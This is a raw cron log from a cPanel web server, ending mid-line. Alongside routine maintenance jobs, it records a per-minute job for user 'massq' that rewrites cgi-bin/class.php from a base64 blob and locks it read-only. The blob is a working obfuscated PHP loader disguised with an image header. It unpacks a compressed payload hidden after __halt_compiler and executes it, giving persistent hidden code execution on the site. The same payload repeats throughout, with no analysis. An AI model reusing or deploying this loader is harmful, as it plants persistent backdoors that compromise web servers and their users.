Apr 12 02:12:01 server CROND[8166]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 02:13:01 server CROND[8275]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 02:14:01 server CROND[8495]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 02:15:01 server CROND[8568]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 02:15:01 server CROND[8569]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 02:15:01 server CROND[8570]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Apr 12 02:15:01 server CROND[8571]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 02:16:01 server CROND[8684]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 02:17:01 server CROND[8747]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 02:18:01 server CROND[8811]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 02:19:01 server CROND[8973]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 02:20:01 server CROND[9031]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 02:20:01 server CROND[9035]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 02:20:01 server CROND[9033]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 12 02:20:01 server CROND[9036]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 12 02:20:01 server CROND[9038]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 02:21:01 server CROND[9152]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 02:22:01 server CROND[9205]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 02:23:01 server CROND[9274]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 02:24:01 server CROND[9432]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 02:25:01 server CROND[9495]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 02:25:01 server CROND[9496]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Apr 12 02:25:01 server CROND[9497]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA